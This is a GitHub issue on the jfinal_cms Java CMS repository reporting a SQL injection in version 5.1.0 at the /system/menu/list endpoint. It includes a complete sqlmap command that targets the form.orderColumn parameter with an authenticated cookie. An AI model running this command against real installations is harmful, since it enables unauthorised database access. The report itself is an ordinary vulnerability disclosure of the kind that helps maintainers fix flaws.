search

jflyfox / jfinal_cms

jfinal cms是一个java开发的功能强大的信息咨询网站，采用了简洁强大的JFinal作为web框架，模板引擎用的是beetl，数据库用mysql，前端bootstrap框架。支持oauth2认证、帐号注册、密码加密、评论及回复，消息提示，网站访问量统计，文章评论数和浏览量统计，回复管理，支持权限管理。后台模块包含：栏目管理，栏目公告，栏目滚动图片，文章管理，回复管理，意见反馈，我的相册，相册管理，图片管理，专辑管理、视频管理、缓存更新，友情链接，访问统计，联系人管理，模板管理，组织机构管理，用户管理，角色管理，菜单管理，数据字典管理。
http://mtg.jflyfox.com/
Apache License 2.0
627 stars 285 forks source link

jfinal_ CMS 5.1.0 has a SQL injection #50

Open AgainstTheLight opened 2 years ago

AgainstTheLight commented 2 years ago

first you can use the URL

http://your IP/jfinal_cms/system/menu/list

then you can use the shell ''' sqlmap -u http://your IP/jfinal_cms/system/menu/list --thread 8 --batch --smart --random-agent --data "form.orderColumn=*&form.orderAsc=&attr.name=&totalRecords=31&pageNo=1&pageSize=20&length=10" --cookie "your cookie" '''

eb8cded373ed08d22322d56fcf3ff17

2d66830146152ff675e5bfcd986e901